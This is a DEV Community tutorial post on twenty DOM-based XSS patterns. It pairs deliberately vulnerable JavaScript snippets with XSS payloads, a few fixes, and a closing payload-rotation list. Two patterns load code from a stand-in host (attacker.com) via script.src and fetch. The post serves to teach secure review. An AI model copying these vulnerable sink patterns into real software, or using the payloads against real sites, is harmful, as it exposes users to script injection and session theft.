DEV Community

Cover image for Advanced DOM XSS Patterns Every Developer Should Know
YogSec
YogSec

Posted on

Advanced DOM XSS Patterns Every Developer Should Know

If you're serious about finding DOM XSS in modern applications, you need to move beyond “search for innerHTML” and start thinking like a data-flow analyst.

1. Indirect Object Property Injection

let key = location.hash.substring(1);
let obj = { content: key };
document.body.innerHTML = obj.content;
Enter fullscreen mode Exit fullscreen mode

Payload:

#<img src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode

Why it works:
The input is hidden inside an object, making it easy to miss.

How to think:
Track data even when it's wrapped in objects.

Fix:

document.body.textContent = obj.content;
Enter fullscreen mode Exit fullscreen mode

2. Array Join Injection

let parts = [location.hash, " world"];
document.body.innerHTML = parts.join("");
Enter fullscreen mode Exit fullscreen mode

Payload:

#<svg/onload=alert(1)>
Enter fullscreen mode Exit fullscreen mode

Why it works:
Array operations don’t sanitize input.

Fix:

document.body.textContent = parts.join("");
Enter fullscreen mode Exit fullscreen mode

3. replace() Callback Injection

let result = location.hash.replace(/x/g, () => '<img src=x onerror=alert(1)>');
document.body.innerHTML = result;
Enter fullscreen mode Exit fullscreen mode

Payload:

#xxx
Enter fullscreen mode Exit fullscreen mode

Why it works:
Developer introduces HTML dynamically.


4. Anchor href Injection

element.innerHTML = `<a href="${location.hash}">Click</a>`;
Enter fullscreen mode Exit fullscreen mode

Payloads:

#javascript:alert(1)
#data:text/html,<script>alert(1)</script>
Enter fullscreen mode Exit fullscreen mode

Why it works:
JavaScript URLs execute in browser context.

Fix:

if (!url.startsWith("https://")) return;
Enter fullscreen mode Exit fullscreen mode

5. History API Injection

let page = location.search.split("=")[1];
history.pushState({}, "", page);
document.body.innerHTML = page;
Enter fullscreen mode Exit fullscreen mode

Payload:

?page=<img src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode

6. Form Action Injection

form.innerHTML = `<form action="${location.hash}"></form>`;
Enter fullscreen mode Exit fullscreen mode

Payload:

#javascript:alert(1)
Enter fullscreen mode Exit fullscreen mode

Impact:
Form submits to attacker-controlled or JS URL.


7. CSS Injection → XSS

element.innerHTML = `<style>${location.hash}</style>`;
Enter fullscreen mode Exit fullscreen mode

Payload:

#body{background:url("javascript:alert(1)")}
Enter fullscreen mode Exit fullscreen mode

Why it works:
Some browsers interpret JS inside CSS.


8. onclick Attribute Injection

element.innerHTML = `<button onclick="${location.hash}">Click</button>`;
Enter fullscreen mode Exit fullscreen mode

Payload:

#alert(1)
Enter fullscreen mode Exit fullscreen mode

9. Dataset → eval Chain

element.innerHTML = `<div data-x="${location.hash}"></div>`;
let value = document.querySelector("div").dataset.x;
eval(value);
Enter fullscreen mode Exit fullscreen mode

Payload:

#alert(1)
Enter fullscreen mode Exit fullscreen mode

Why it works:
Multi-step execution chain.


10. outerHTML Replacement

element.outerHTML = location.hash;
Enter fullscreen mode Exit fullscreen mode

Payload:

#<img src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode

11. Manual Query Parsing

let q = location.search.split("q=")[1];
document.body.innerHTML = q;
Enter fullscreen mode Exit fullscreen mode

Payload:

?q=<svg/onload=alert(1)>
Enter fullscreen mode Exit fullscreen mode

12. HTML Comment Breakout

element.innerHTML = `<!-- ${location.hash} -->`;
Enter fullscreen mode Exit fullscreen mode

Payload:

#--><img src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode

Why it works:
Breaks out of comment context.


13. Template Literal Injection

let tpl = `<h1>${location.hash}</h1>`;
element.innerHTML = tpl;
Enter fullscreen mode Exit fullscreen mode

Payload:

#<img src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode

14. iframe src Injection

iframe.src = location.hash;
Enter fullscreen mode Exit fullscreen mode

Payloads:

#javascript:alert(1)
#data:text/html,<script>alert(1)</script>
Enter fullscreen mode Exit fullscreen mode

15. Error Handling Injection

try {
  throw location.hash;
} catch (e) {
  document.body.innerHTML = e;
}
Enter fullscreen mode Exit fullscreen mode

Payload:

#<img src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode

16. DOMParser Injection

let parser = new DOMParser();
let doc = parser.parseFromString(location.hash, "text/html");
document.body.appendChild(doc.body);
Enter fullscreen mode Exit fullscreen mode

Payload:

#<img src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode

17. Dynamic Script Injection

let script = document.createElement("script");
script.src = location.hash;
document.body.appendChild(script);
Enter fullscreen mode Exit fullscreen mode

Payload:

#https://attacker.com/x.js
Enter fullscreen mode Exit fullscreen mode

18. Fetch → DOM Injection

fetch(location.hash)
  .then(res => res.text())
  .then(data => {
    document.body.innerHTML = data;
  });
Enter fullscreen mode Exit fullscreen mode

Payload:

#https://attacker.com/payload.html
Enter fullscreen mode Exit fullscreen mode

19. setTimeout String Execution

setTimeout(location.hash, 1000);
Enter fullscreen mode Exit fullscreen mode

Payload:

#alert(1)
Enter fullscreen mode Exit fullscreen mode

20. window.name Injection

document.body.innerHTML = window.name;
Enter fullscreen mode Exit fullscreen mode

Attack Flow:

window.name = "<img src=x onerror=alert(1)>";
location = "https://target.com";
Enter fullscreen mode Exit fullscreen mode

Final Mental Model

When reviewing JavaScript, always map:

SOURCE → TRANSFORMATION → SINK
Enter fullscreen mode Exit fullscreen mode

Where:

  • Source = location, storage, message, URL
  • Transformation = decode, replace, parse
  • Sink = innerHTML, eval, script, attributes

Payload Strategy

Don’t rely on one payload. Rotate between:

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
javascript:alert(1)
data:text/html,<script>alert(1)</script>
" onmouseover=alert(1) x="
Enter fullscreen mode Exit fullscreen mode

Top comments (0)